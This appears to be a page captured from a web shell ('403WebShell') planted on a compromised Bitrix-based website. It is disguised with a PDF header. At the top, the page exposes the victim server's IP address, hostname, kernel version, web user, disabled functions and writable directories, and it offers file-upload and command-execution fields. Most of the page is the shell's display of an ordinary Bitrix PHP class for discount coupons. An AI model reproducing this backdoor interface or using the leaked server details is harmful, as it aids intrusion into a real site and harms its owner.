%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 18.119.106.78
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/sale/lib/internals/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/sale/lib/internals/discountcoupon.php
<?php
namespace Bitrix\Sale\Internals;

use Bitrix\Main;
use Bitrix\Main\Application;
use Bitrix\Main\Localization\Loc;
use Bitrix\Sale;

Loc::loadMessages(__FILE__);

/**
 * Class DiscountCouponTable
 *
 * Fields:
 * <ul>
 * <li> ID int mandatory
 * <li> DISCOUNT_ID int mandatory
 * <li> ACTIVE bool optional default 'Y'
 * <li> ACTIVE_FROM datetime optional
 * <li> ACTIVE_TO datetime optional
 * <li> COUPON string(32) mandatory
 * <li> TYPE int mandatory
 * <li> MAX_USE int mandatory
 * <li> USE_COUNT int mandatory
 * <li> USER_ID int mandatory
 * <li> DATE_APPLY datetime optional
 * <li> TIMESTAMP_X datetime optional
 * <li> MODIFIED_BY int optional
 * <li> DATE_CREATE datetime optional
 * <li> CREATED_BY int optional
 * <li> DESCRIPTION text optional
 * <li> CREATED_BY_USER reference to {@link \Bitrix\Main\UserTable}
 * <li> MODIFIED_BY_USER reference to {@link \Bitrix\Main\UserTable}
 * <li> DISCOUNT reference to {@link \Bitrix\Sale\Internals\DiscountTable}
 * </ul>
 *
 * @package Bitrix\Sale\Internals
 *
 * DO NOT WRITE ANYTHING BELOW THIS
 *
 * <<< ORMENTITYANNOTATION
 * @method static EO_DiscountCoupon_Query query()
 * @method static EO_DiscountCoupon_Result getByPrimary($primary, array $parameters = array())
 * @method static EO_DiscountCoupon_Result getById($id)
 * @method static EO_DiscountCoupon_Result getList(array $parameters = array())
 * @method static EO_DiscountCoupon_Entity getEntity()
 * @method static \Bitrix\Sale\Internals\EO_DiscountCoupon createObject($setDefaultValues = true)
 * @method static \Bitrix\Sale\Internals\EO_DiscountCoupon_Collection createCollection()
 * @method static \Bitrix\Sale\Internals\EO_DiscountCoupon wakeUpObject($row)
 * @method static \Bitrix\Sale\Internals\EO_DiscountCoupon_Collection wakeUpCollection($rows)
 */

class DiscountCouponTable extends Main\Entity\DataManager
{
	const TYPE_UNKNOWN = 0x0000;
	const TYPE_BASKET_ROW = 0x0001;
	const TYPE_ONE_ORDER = 0x0002;
	const TYPE_MULTI_ORDER = 0x0004;
	const TYPE_ARCHIVED = 0x0008;

	const EVENT_ON_GENERATE_COUPON = 'onGenerateCoupon';
	const EVENT_ON_AFTER_DELETE_DISCOUNT = 'onAfterDeleteDiscountCoupons';

	protected static $discountCheckList = array();
	protected static $checkDiscountCouponsUse = 0;

	/**
	 * Returns DB table name for entity.
	 *
	 * @return string
	 */
	public static function getTableName()
	{
		return 'b_sale_discount_coupon';
	}

	/**
	 * Returns entity map definition.
	 *
	 * @return array
	 */
	public static function getMap()
	{
		return array(
			'ID' => new Main\Entity\IntegerField('ID', array(
				'primary' => true,
				'autocomplete' => true,
				'title' => Loc::getMessage('DISCOUNT_COUPON_ENTITY_ID_FIELD')
			)),
			'DISCOUNT_ID' => new Main\Entity\IntegerField('DISCOUNT_ID', array(
				'required' => true,
				'validation' => array(__CLASS__, 'validateDiscountId'),
				'title' => Loc::getMessage('DISCOUNT_COUPON_ENTITY_DISCOUNT_ID_FIELD')
			)),
			'ACTIVE' => new Main\Entity\BooleanField('ACTIVE', array(
				'values' => array('N', 'Y'),
				'default_value' => 'Y',
				'title' => Loc::getMessage('DISCOUNT_COUPON_ENTITY_ACTIVE_FIELD')
			)),
			'ACTIVE_FROM' => new Main\Entity\DatetimeField('ACTIVE_FROM', array(
				'default_value' => null,
				'title' => Loc::getMessage('DISCOUNT_COUPON_ENTITY_ACTIVE_FROM_FIELD')
			)),
			'ACTIVE_TO' => new Main\Entity\DatetimeField('ACTIVE_TO', array(
				'default_value' => null,
				'title' => Loc::getMessage('DISCOUNT_COUPON_ENTITY_ACTIVE_TO_FIELD')
			)),
			'COUPON' => new Main\Entity\StringField('COUPON', array(
				'required' => true,
				'validation' => array(__CLASS__, 'validateCoupon'),
				'title' => Loc::getMessage('DISCOUNT_COUPON_ENTITY_COUPON_FIELD')
			)),
			'TYPE' => new Main\Entity\IntegerField('TYPE', array(
				'validation' => array(__CLASS__, 'validateType'),
				'title' => Loc::getMessage('DISCOUNT_COUPON_ENTITY_TYPE_FIELD')
			)),
			'MAX_USE' => new Main\Entity\IntegerField('MAX_USE', array(
				'default_value' => 0,
				'title' => Loc::getMessage('DISCOUNT_COUPON_ENTITY_MAX_USE_FIELD')
			)),
			'USE_COUNT' => new Main\Entity\IntegerField('USE_COUNT', array(
				'default_value' => 0,
				'title' => Loc::getMessage('DISCOUNT_COUPON_ENTITY_USE_COUNT_FIELD')
			)),
			'USER_ID' => new Main\Entity\IntegerField('USER_ID', array(
				'default_value' => 0,
				'title' => Loc::getMessage('DISCOUNT_COUPON_ENTITY_USER_ID_FIELD')
			)),
			'DATE_APPLY' => new Main\Entity\DatetimeField('DATE_APPLY', array(
				'default_value' => null,
				'title' => Loc::getMessage('DISCOUNT_COUPON_ENTITY_DATE_APPLY_FIELD')
			)),
			'TIMESTAMP_X' => new Main\Entity\DatetimeField('TIMESTAMP_X', array(
				'default_value' => function(){ return new Main\Type\DateTime(); },
				'title' => Loc::getMessage('DISCOUNT_COUPON_ENTITY_TIMESTAMP_X_FIELD')
			)),
			'MODIFIED_BY' => new Main\Entity\IntegerField('MODIFIED_BY', array(
				'default_value' => null,
				'title' => Loc::getMessage('DISCOUNT_COUPON_ENTITY_MODIFIED_BY_FIELD')
			)),
			'DATE_CREATE' => new Main\Entity\DatetimeField('DATE_CREATE', array(
				'default_value' => function(){ return new Main\Type\DateTime(); },
				'title' => Loc::getMessage('DISCOUNT_COUPON_ENTITY_DATE_CREATE_FIELD')
			)),
			'CREATED_BY' => new Main\Entity\IntegerField('CREATED_BY', array(
				'default_value' => null,
				'title' => Loc::getMessage('DISCOUNT_COUPON_ENTITY_CREATED_BY_FIELD')
			)),
			'DESCRIPTION' => new Main\Entity\TextField('DESCRIPTION', array(
				'default_value' => null,
				'title' => Loc::getMessage('DISCOUNT_COUPON_ENTITY_DESCRIPTION_FIELD')
			)),
			'CREATED_BY_USER' => new Main\Entity\ReferenceField(
				'CREATED_BY_USER',
				'Bitrix\Main\User',
				array('=this.CREATED_BY' => 'ref.ID'),
				array('join_type' => 'LEFT')
			),
			'MODIFIED_BY_USER' => new Main\Entity\ReferenceField(
				'MODIFIED_BY_USER',
				'Bitrix\Main\User',
				array('=this.MODIFIED_BY' => 'ref.ID'),
				array('join_type' => 'LEFT')
			),
			'DISCOUNT' => new Main\Entity\ReferenceField(
				'DISCOUNT',
				'Bitrix\Sale\Internals\Discount',
				array('=this.DISCOUNT_ID' => 'ref.ID'),
				array('join_type' => 'LEFT')
			)
		);
	}

	/**
	 * Returns validators for DISCOUNT_ID field.
	 *
	 * @return array
	 */
	public static function validateDiscountId()
	{
		return array(
			array(__CLASS__, 'checkDiscountId')
		);
	}

	/**
	 * Returns validators for COUPON field.
	 *
	 * @return array
	 */
	public static function validateCoupon()
	{
		return array(
			new Main\Entity\Validator\Length(null, 32),
			array(__CLASS__, 'checkCoupon')
		);
	}

	/**
	 * Returns validators for TYPE field.
	 *
	 * @return array
	 */
	public static function validateType()
	{
		return array(
			array(__CLASS__, 'checkType')
		);
	}

	/**
	 * Check discount id.
	 *
	 * @param int $value					Discount id.
	 * @param array|int $primary			Primary key.
	 * @param array $row					Current data.
	 * @param Main\Entity\Field $field		Field object.
	 * @return bool|string
	 */
	public static function checkDiscountId($value, $primary, array $row, Main\Entity\Field $field)
	{
		if ((int)$value <= 0)
			return Loc::getMessage('DISCOUNT_COUPON_VALIDATOR_DISCOUNT_ID');

		return true;
	}

	/**
	 * Check coupon type.
	 *
	 * @param int $value					Coupon type.
	 * @param array|int $primary			Primary key.
	 * @param array $row					Current data.
	 * @param Main\Entity\Field $field		Field object.
	 * @return bool|string
	 */
	public static function checkType($value, $primary, array $row, Main\Entity\Field $field)
	{
		if (
			$value == self::TYPE_BASKET_ROW
			|| $value == self::TYPE_ONE_ORDER
			|| $value == self::TYPE_MULTI_ORDER
		)
			return true;

		return Loc::getMessage('DISCOUNT_COUPON_VALIDATOR_TYPE');
	}

	/**
	 * Check coupon - unique and exist.
	 *
	 * @param int $value					Coupon.
	 * @param array|int $primary			Primary key.
	 * @param array $row					Current data.
	 * @param Main\Entity\Field $field		Field object.
	 * @return bool|string
	 */
	public static function checkCoupon($value, $primary, array $row, Main\Entity\Field $field)
	{
		$value = trim((string)$value);
		if ($value == '')
			return Loc::getMessage('DISCOUNT_COUPON_VALIDATOR_COUPON_EMPTY');

		$existCoupon = Sale\DiscountCouponsManager::isExist($value);
		if (!empty($existCoupon))
		{
			$currentId = (int)(is_array($primary) ? $primary['ID'] : $primary);
			if ($existCoupon['MODULE'] != 'sale' || $currentId != $existCoupon['ID'])
				return Loc::getMessage('DISCOUNT_COUPON_VALIDATOR_COUPON_EXIST');
		}
		return true;
	}

	/**
	 * Default onBeforeAdd handler. Absolutely necessary.
	 *
	 * @param Main\Entity\Event $event		Current data for add.
	 * @return Main\Entity\EventResult
	 */
	public static function onBeforeAdd(Main\Entity\Event $event)
	{
		$result = new Main\Entity\EventResult;
		$data = $event->getParameter('fields');

		$modifyFieldList = array();
		self::setUserID($modifyFieldList, $data, array('CREATED_BY', 'MODIFIED_BY'));
		self::setTimestamp($modifyFieldList, $data, array('DATE_CREATE', 'TIMESTAMP_X'));

		if (!empty($modifyFieldList))
			$result->modifyFields($modifyFieldList);
		unset($modifyFieldList, $data);

		return $result;
	}

	/**
	 * Default onAfterAdd handler. Absolutely necessary.
	 *
	 * @param Main\Entity\Event $event		Current data for add.
	 * @return void
	 */
	public static function onAfterAdd(Main\Entity\Event $event)
	{
		if (!self::isCheckedCouponsUse())
			return;
		$data = $event->getParameter('fields');
		$id = (int)$data['DISCOUNT_ID'];
		self::$discountCheckList[$id] = $id;
		unset($id, $data);
		self::updateUseCoupons();
	}

	/**
	 * Default onBeforeUpdate handler. Absolutely necessary.
	 *
	 * @param Main\Entity\Event $event		Current data for update.
	 * @return Main\Entity\EventResult
	 */
	public static function onBeforeUpdate(Main\Entity\Event $event)
	{
		$result = new Main\Entity\EventResult;
		$data = $event->getParameter('fields');

		$modifyFieldList = array();
		self::setUserID($modifyFieldList, $data, array('MODIFIED_BY'));
		self::setTimestamp($modifyFieldList, $data, array('TIMESTAMP_X'));

		if (!empty($modifyFieldList))
			$result->modifyFields($modifyFieldList);
		unset($modifyFieldList, $data);

		return $result;
	}

	/**
	 * Default onUpdate handler. Absolutely necessary.
	 *
	 * @param Main\Entity\Event $event		Current data for update.
	 * @return void
	 */
	public static function onUpdate(Main\Entity\Event $event)
	{
		if (!self::isCheckedCouponsUse())
			return;
		$data = $event->getParameter('fields');
		if (isset($data['DISCOUNT_ID']))
		{
			$data['DISCOUNT_ID'] = (int)$data['DISCOUNT_ID'];
			$coupon = static::getList(array(
				'select' => array('ID', 'DISCOUNT_ID'),
				'filter' => array('=ID' => $event->getParameter('id'))
			))->fetch();
			if (!empty($coupon))
			{
				$coupon['DISCOUNT_ID'] = (int)$coupon['DISCOUNT_ID'];
				if ($coupon['DISCOUNT_ID'] !== $data['DISCOUNT_ID'])
				{
					self::$discountCheckList[$data['DISCOUNT_ID']] = $data['DISCOUNT_ID'];
					self::$discountCheckList[$coupon['DISCOUNT_ID']] = $coupon['DISCOUNT_ID'];
				}
			}
			unset($coupon);
		}
		unset($data);
	}

	/**
	 * Default onAfterUpdate handler. Absolutely necessary.
	 *
	 * @param Main\Entity\Event $event		Current data for update.
	 * @return void
	 */
	public static function onAfterUpdate(Main\Entity\Event $event)
	{
		self::updateUseCoupons();
	}

	/**
	 * Default onDelete handler. Absolutely necessary.
	 *
	 * @param Main\Entity\Event $event		Current data for delete.
	 * @return void
	 */
	public static function onDelete(Main\Entity\Event $event)
	{
		if (!self::isCheckedCouponsUse())
			return;
		$coupon = self::getList(array(
			'select' => array('ID', 'DISCOUNT_ID'),
			'filter' => array('=ID' => $event->getParameter('id'))
		))->fetch();
		if (!empty($coupon))
		{
			$coupon['DISCOUNT_ID'] = (int)$coupon['DISCOUNT_ID'];
			self::$discountCheckList[$coupon['DISCOUNT_ID']] = $coupon['DISCOUNT_ID'];
		}
		unset($coupon);
	}

	/**
	 * Default onAfterDelete handler. Absolutely necessary.
	 *
	 * @param Main\Entity\Event $event		Current data for delete.
	 * @return void
	 */
	public static function onAfterDelete(Main\Entity\Event $event)
	{
		self::updateUseCoupons();
	}

	/**
	 * Returns coupon types list.
	 *
	 * @param bool $extendedMode			Get type ids or ids with title.
	 * @return array
	 */
	public static function getCouponTypes($extendedMode = false)
	{
		$extendedMode = ($extendedMode === true);
		if ($extendedMode)
		{
			return array(
				self::TYPE_BASKET_ROW => Loc::getMessage('DISCOUNT_COUPON_TABLE_TYPE_BASKET_ROW'),
				self::TYPE_ONE_ORDER => Loc::getMessage('DISCOUNT_COUPON_TABLE_TYPE_ONE_ORDER'),
				self::TYPE_MULTI_ORDER => Loc::getMessage('DISCOUNT_COUPON_TABLE_TYPE_MULTI_ORDER')
			);
		}
		return array(self::TYPE_BASKET_ROW, self::TYPE_ONE_ORDER, self::TYPE_MULTI_ORDER);
	}

	/**
	 * Disable checking use coupons for discount before multiuse add/update/delete.
	 *
	 * @return void
	 */
	public static function disableCheckCouponsUse()
	{
		self::$checkDiscountCouponsUse--;
	}

	/**
	 * Enable checking use coupons for discount after multiuse add/update/delete.
	 *
	 * @return void
	 */
	public static function enableCheckCouponsUse()
	{
		self::$checkDiscountCouponsUse++;
	}

	/**
	 * Returns current checking use coupons mode.
	 *
	 * @return bool
	 */
	public static function isCheckedCouponsUse()
	{
		return (self::$checkDiscountCouponsUse >= 0);
	}

	/**
	 * Clear discount list for update use coupons flag.
	 *
	 * @return void
	 */
	public static function clearDiscountCheckList()
	{
		self::$discountCheckList = array();
	}

	/**
	 * Fill discount list for update use coupons flag.
	 *
	 * @param array|int $discountList			Discount ids for check.
	 * @return void
	 */
	public static function setDiscountCheckList($discountList)
	{
		if (!is_array($discountList))
			$discountList = array($discountList => $discountList);
		if (!empty($discountList))
			self::$discountCheckList = (empty(self::$discountCheckList) ? $discountList : array_merge(self::$discountCheckList, $discountList));
	}

	/**
	 * Update use coupon flag for discount list.
	 *
	 * @return void
	 */
	public static function updateUseCoupons()
	{
		if (!self::isCheckedCouponsUse() || empty(self::$discountCheckList))
			return;

		Main\Type\Collection::normalizeArrayValuesByInt(self::$discountCheckList);
		if (empty(self::$discountCheckList))
			return;

		$withoutCoupons = array_fill_keys(self::$discountCheckList, true);
		$withCoupons = array();
		$couponIterator = DiscountCouponTable::getList(array(
			'select' => array('DISCOUNT_ID', new Main\Entity\ExpressionField('CNT', 'COUNT(*)')),
			'filter' => array('@DISCOUNT_ID' => self::$discountCheckList),
			'group' => array('DISCOUNT_ID')
		));
		while ($coupon = $couponIterator->fetch())
		{
			$coupon['CNT'] = (int)$coupon['CNT'];
			if ($coupon['CNT'] > 0)
			{
				$coupon['DISCOUNT_ID'] = (int)$coupon['DISCOUNT_ID'];
				unset($withoutCoupons[$coupon['DISCOUNT_ID']]);
				$withCoupons[$coupon['DISCOUNT_ID']] = true;
			}
		}
		unset($coupon, $couponIterator);
		if (!empty($withoutCoupons))
		{
			$withoutCoupons = array_keys($withoutCoupons);
			DiscountTable::setUseCoupons($withoutCoupons, 'N');
		}
		if (!empty($withCoupons))
		{
			$withCoupons = array_keys($withCoupons);
			DiscountTable::setUseCoupons($withCoupons, 'Y');
		}
		unset($withCoupons, $withoutCoupons);

		static::clearDiscountCheckList();
	}

	/**
	 * Delete all coupons for discount.
	 *
	 * @param int $discount			Discount id.
	 * @return void
	 */
	public static function deleteByDiscount($discount)
	{
		$discount = (int)$discount;
		if ($discount <= 0)
			return;

		$couponsList = array();
		$couponIterator = self::getList(array(
			'select' => array('ID'),
			'filter' => array('=DISCOUNT_ID' => $discount)
		));
		while ($coupon = $couponIterator->fetch())
			$couponsList[] = $coupon['ID'];
		unset($coupon, $couponIterator);
		if (!empty($couponsList))
		{
			$conn = Application::getConnection();
			$helper = $conn->getSqlHelper();
			$conn->queryExecute(
				'delete from '.$helper->quote(self::getTableName()).' where '.$helper->quote('DISCOUNT_ID').' = '.$discount
			);
			$event = new Main\Event('sale', self::EVENT_ON_AFTER_DELETE_DISCOUNT, array($discount, $couponsList));
			$event->send();
		}
	}

	/**
	 * Save coupons applyed info.
	 *
	 * @param array $coupons				Coupons list.
	 * @param int $userId					User id.
	 * @param Main\Type\DateTime $currentTime	Current datetime.
	 * @return array|bool
	 */
	public static function saveApplied($coupons, $userId, Main\Type\DateTime $currentTime)
	{
		$currentTimestamp = $currentTime->getTimestamp();
		if ($userId === null || (int)$userId == 0)
			return false;
		$userId = (int)$userId;
		if (!is_array($coupons))
			$coupons = array($coupons);
		if (empty($coupons))
			return false;
		Main\Type\Collection::normalizeArrayValuesByInt($coupons);
		if (empty($coupons))
			return false;

		$errorList = [];
		$deactivateCoupons = array();
		$incrementalCoupons = array();
		$limitedCoupons = array();
		$couponIterator = self::getList(array(
			'select' => array(
				'ID', 'COUPON', 'DISCOUNT_ID', 'TYPE', 'ACTIVE', 'MAX_USE', 'USE_COUNT', 'USER_ID', 'ACTIVE_TO', 'ACTIVE_FROM',
				'DISCOUNT_ACTIVE' => 'DISCOUNT.ACTIVE',
				'DISCOUNT_ACTIVE_FROM' => 'DISCOUNT.ACTIVE_FROM', 'DISCOUNT_ACTIVE_TO' => 'DISCOUNT.ACTIVE_TO'
			),
			'filter' => array('@ID' => $coupons),
			'order' => array('ID' => 'ASC')
		));
		while ($existCoupon = $couponIterator->fetch())
		{
			$couponCode = $existCoupon['COUPON'];
			if ($existCoupon['DISCOUNT_ACTIVE'] != 'Y')
			{
				$errorList[$couponCode] = Loc::getMessage('DISCOUNT_COUPON_SAVE_ERROR_DISCOUNT_INACTIVE');
				continue;
			}
			if (
				($existCoupon['DISCOUNT_ACTIVE_FROM'] instanceof Main\Type\DateTime && $existCoupon['DISCOUNT_ACTIVE_FROM']->getTimestamp() > $currentTimestamp)
				||
				($existCoupon['DISCOUNT_ACTIVE_TO'] instanceof Main\Type\DateTime && $existCoupon['DISCOUNT_ACTIVE_TO']->getTimestamp() < $currentTimestamp)
			)
			{
				$errorList[$couponCode] = Loc::getMessage('DISCOUNT_COUPON_SAVE_ERROR_DISCOUNT_WRONG_ACTIVE_PERIOD');
				continue;
			}

			$existCoupon['USER_ID'] = (int)$existCoupon['USER_ID'];
			if ($existCoupon['USER_ID'] > 0 && $existCoupon['USER_ID'] != $userId)
			{
				$errorList[$couponCode] = Loc::getMessage('DISCOUNT_COUPON_SAVE_ERROR_WRONG_USER_COUPON');
				continue;
			}
			if (
				($existCoupon['ACTIVE_FROM'] instanceof Main\Type\DateTime && $existCoupon['ACTIVE_FROM']->getTimestamp() > $currentTimestamp)
				||
				($existCoupon['ACTIVE_TO'] instanceof Main\Type\DateTime && $existCoupon['ACTIVE_TO']->getTimestamp() < $currentTimestamp)
			)
			{
				$errorList[$couponCode] = Loc::getMessage('DISCOUNT_COUPON_SAVE_ERROR_COUPON_WRONG_ACTIVE_PERIOD');
				continue;
			}
			if ($existCoupon['ACTIVE'] != 'Y')
			{
				switch ($existCoupon['TYPE'])
				{
					case self::TYPE_BASKET_ROW:
						$errorList[$couponCode] = Loc::getMessage('DISCOUNT_COUPON_SAVE_ERROR_COUPON_BASKET_ROW_INACTIVE');
						break;
					case self::TYPE_ONE_ORDER:
						$errorList[$couponCode] = Loc::getMessage('DISCOUNT_COUPON_SAVE_ERROR_COUPON_ONE_ORDER_INACTIVE');
						break;
					default:
						$errorList[$couponCode] = Loc::getMessage('DISCOUNT_COUPON_SAVE_ERROR_COUPON_INACTIVE');
						break;
				}
				continue;
			}

			if (
				$existCoupon['TYPE'] == self::TYPE_BASKET_ROW
				|| $existCoupon['TYPE'] == self::TYPE_ONE_ORDER
			)
			{
				$deactivateCoupons[$couponCode] = $existCoupon['ID'];
			}
			elseif ($existCoupon['TYPE'] == self::TYPE_MULTI_ORDER)
			{
				$existCoupon['MAX_USE'] = (int)$existCoupon['MAX_USE'];
				$existCoupon['USE_COUNT'] = (int)$existCoupon['USE_COUNT'];

				if ($existCoupon['MAX_USE'] > 0 && $existCoupon['USE_COUNT'] >= $existCoupon['MAX_USE'])
				{
					$errorList[$couponCode] = Loc::getMessage('DISCOUNT_COUPON_SAVE_ERROR_COUPON_MAX_USE_LIMIT');
					continue;
				}
				if ($existCoupon['MAX_USE'] > 0 && $existCoupon['USE_COUNT'] >= ($existCoupon['MAX_USE'] - 1))
				{
					$limitedCoupons[$existCoupon['COUPON']] = $existCoupon['ID'];
				}
				else
				{
					$incrementalCoupons[$existCoupon['COUPON']] = $existCoupon['ID'];
				}
			}

		}
		unset($existCoupon, $couponIterator);
		if (!empty($errorList))
		{
			return [
				'STATUS' => false,
				'ERROR' => $errorList,
				'DEACTIVATE' => 0,
				'LIMITED' => 0,
				'INCREMENT' => 0
			];
		}
		if (!empty($deactivateCoupons) || !empty($limitedCoupons) || !empty($incrementalCoupons))
		{
			$conn = Application::getConnection();
			$helper = $conn->getSqlHelper();
			$tableName = $helper->quote(self::getTableName());
			if (!empty($deactivateCoupons))
			{
				$conn->queryExecute(
					'update '.$tableName.' set '.$helper->quote('ACTIVE').' = \'N\', '.$helper->quote('DATE_APPLY').' = '.$helper->getCurrentDateTimeFunction().
					' where '.$helper->quote('ID').' in ('.implode(',', $deactivateCoupons).')'
				);
			}
			if (!empty($incrementalCoupons))
			{
				$conn->queryExecute(
					'update '.$tableName.' set '.$helper->quote('DATE_APPLY').' = '.$helper->getCurrentDateTimeFunction().', '.
					$helper->quote('USE_COUNT').' = '.$helper->quote('USE_COUNT').' + 1'.
					' where '.$helper->quote('ID').' in ('.implode(',', $incrementalCoupons).')'
				);
			}
			if (!empty($limitedCoupons))
			{
				$conn->queryExecute(
					'update '.$tableName.' set '.$helper->quote('DATE_APPLY').' = '.$helper->getCurrentDateTimeFunction().', '.
					$helper->quote('ACTIVE').' = \'N\', '.$helper->quote('USE_COUNT').' = '.$helper->quote('USE_COUNT').' + 1'.
					' where '.$helper->quote('ID').' in ('.implode(',', $limitedCoupons).')'
				);
			}
			unset($tableName, $helper);
		}
		return [
			'STATUS' => true,
			'ERROR_LIST' => [],
			'DEACTIVATE' => $deactivateCoupons,
			'LIMITED' => $limitedCoupons,
			'INCREMENT' => $incrementalCoupons
		];
	}

	/**
	 * Create coupon code.
	 *
	 * @param bool $check		Check new coupon or no.
	 * @return string
	 */
	public static function generateCoupon($check = false)
	{
		static $eventExists = null;

		$check = ($check === true);
		if ($eventExists === true || $eventExists === null)
		{
			$event = new Main\Event('sale', self::EVENT_ON_GENERATE_COUPON, array('CHECK' => $check));
			$event->send();
			$resultList = $event->getResults();
			if (!empty($resultList) && is_array($resultList))
			{
				/** @var Main\EventResult $eventResult */
				foreach ($resultList as &$eventResult)
				{
					if ($eventResult->getType() != Main\EventResult::SUCCESS)
						continue;
					$eventExists = true;
					$result = $eventResult->getParameters();
					if (!empty($result) && is_string($result))
						return $result;
				}
				unset($eventResult);
			}
			if ($eventExists === null)
				$eventExists = false;
		}

		$allchars = 'ABCDEFGHIJKLNMOPQRSTUVWXYZ0123456789';
		$charsLen = mb_strlen($allchars) - 1;

		do
		{
			$resultCorrect = true;
			$partOne = '';
			$partTwo = '';
			for ($i = 0; $i < 5; $i++)
				$partOne .= mb_substr($allchars, rand(0, $charsLen), 1);

			for ($i = 0; $i < 7; $i++)
				$partTwo .= mb_substr($allchars, rand(0, $charsLen), 1);

			$result = 'SL-'.$partOne.'-'.$partTwo;
			if ($check)
			{
				$existCoupon = Sale\DiscountCouponsManager::isExist($result);
				$resultCorrect = empty($existCoupon);
			}
		} while (!$resultCorrect);
		return $result;
	}

	/**
	 * Create one and more coupons for discount.
	 *
	 * @param array $data				Coupon data.
	 * @param int $count				Coupos count.
	 * @param int $limit				Maximum number of attempts.
	 * @return Main\Entity\Result
	 */
	public static function addPacket(array $data, $count, $limit = 0)
	{
		$result = new Main\Entity\Result();
		$result->setData(array(
			'result' => 0,
			'count' => $count,
			'limit' => $limit,
			'all' => 0
		));
		$count = (int)$count;
		if ($count <= 0)
		{
			$result->addError(new Main\Entity\EntityError(
				Loc::getMessage('DISCOUNT_COUPON_PACKET_COUNT_ERR'),
				'COUPON_PACKET'
			));
		}
		foreach (static::getEntity()->getFields() as $field)
		{
			if ($field instanceof Main\Entity\ScalarField &&  !array_key_exists($field->getName(), $data))
			{
				$defaultValue =  $field->getDefaultValue();

				if ($defaultValue !== null)
					$data[$field->getName()] = $field->getDefaultValue();
			}
		}
		$checkResult = static::checkPacket($data, false);
		if (!$checkResult->isSuccess())
		{
			foreach ($checkResult->getErrors() as $checkError)
			{
				$result->addError($checkError);
			}
			unset($checkError);
		}
		unset($checkResult);
		$useCoupons = false;
		$discountIterator = DiscountTable::getList(array(
			'select' => array('ID', 'USE_COUPONS'),
			'filter' => array('=ID' => $data['DISCOUNT_ID'])
		));
		if ($discount = $discountIterator->fetch())
		{
			$useCoupons = ($discount['USE_COUPONS'] == 'Y');
		}
		else
		{
			$result->addError(new Main\Entity\EntityError(
				Loc::getMessage('DISCOUNT_COUPON_PACKET_DISCOUNT_ERR'),
				'COUPON_PACKET'
			));
		}
		if (!$result->isSuccess(true))
			return $result;

		self::setDiscountCheckList($data['DISCOUNT_ID']);
		self::disableCheckCouponsUse();
		$limit = (int)$limit;
		if ($limit < $count)
			$limit = $count*2;
		$resultCount = 0;
		$all = 0;
		do
		{
			$data['COUPON'] = self::generateCoupon(true);
			$couponResult = self::add($data);
			if ($couponResult->isSuccess())
				$resultCount++;
			$all++;
		} while ($resultCount < $count && $all < $limit);
		$result->setData(array(
			'result' => $resultCount,
			'count' => $count,
			'limit' => $limit,
			'all' => $all
		));
		if ($resultCount == 0)
		{
			$result->addError(new Main\Entity\EntityError(
				($useCoupons
					? Loc::getMessage('DISCOUNT_COUPON_PACKET_GENERATE_COUPON_ZERO_ERR')
					: Loc::getMessage('DISCOUNT_COUPON_PACKET_NEW_GENERATE_COUPON_ZERO_ERR')
				),
				'COUPON_PACKET'
			));
			self::clearDiscountCheckList();
		}
		elseif ($resultCount < $count)
		{
			$result->addError(new Main\Entity\EntityError(
				Loc::getMessage(
					'DISCOUNT_COUPON_PACKET_GENERATE_COUPON_COUNT_ERR',
					array(
						'#RESULT#' => $resultCount,
						'#COUNT#' => $count,
						'#ALL#' => $all
					)
				),
				'COUPON_PACKET'
			));
		}
		self::enableCheckCouponsUse();
		self::updateUseCoupons();

		return $result;
	}

	/**
	 * Check data for create one or more coupons.
	 *
	 * @param array $data				Coupon data.
	 * @param bool $newDiscount			New discount flag.
	 * @return Main\Entity\Result
	 */
	public static function checkPacket(array $data, $newDiscount = false)
	{
		$result = new Main\Entity\Result();

		$newDiscount = ($newDiscount === true);
		if (empty($data) || !is_array($data))
		{
			$result->addError(new Main\Entity\EntityError(
				Loc::getMessage('DISCOUNT_COUPON_PACKET_EMPTY'),
				'COUPON_PACKET'
			));
		}
		else
		{
			if (empty($data['TYPE']) || !in_array((int)$data['TYPE'], self::getCouponTypes(false)))
			{
				$result->addError(new Main\Entity\EntityError(
					Loc::getMessage('DISCOUNT_COUPON_VALIDATOR_TYPE'),
					'COUPON_PACKET'
				));
			}
			if (!$newDiscount && empty($data['DISCOUNT_ID']))
			{
				$result->addError(new Main\Entity\EntityError(
					Loc::getMessage('DISCOUNT_COUPON_VALIDATOR_DISCOUNT_ID'),
					'COUPON_PACKET'
				));
			}
			if (
				(isset($data['ACTIVE_FROM']) && !($data['ACTIVE_FROM'] instanceof Main\Type\DateTime))
				||
				(isset($data['ACTIVE_TO']) && !($data['ACTIVE_TO'] instanceof Main\Type\DateTime))
			)
			{
				$result->addError(new Main\Entity\EntityError(
					Loc::getMessage('DISCOUNT_COUPON_VALIDATOR_PERIOD'),
					'COUPON_PACKET'
				));
			}
		}
		return $result;
	}

	/**
	 * Prepare coupon data. Only for admin list pages.
	 *
	 * @param array &$fields				Coupon data.
	 * @return Main\Entity\Result
	 */
	public static function prepareCouponData(&$fields)
	{
		$result = new Main\Entity\Result();
		if (!empty($fields) && is_array($fields))
		{
			if (isset($fields['ACTIVE_FROM']) && is_string($fields['ACTIVE_FROM']))
			{
				$fields['ACTIVE_FROM'] = trim($fields['ACTIVE_FROM']);
				$fields['ACTIVE_FROM'] = ($fields['ACTIVE_FROM'] !== '' ? Main\Type\DateTime::createFromUserTime($fields['ACTIVE_FROM']) : null);
			}
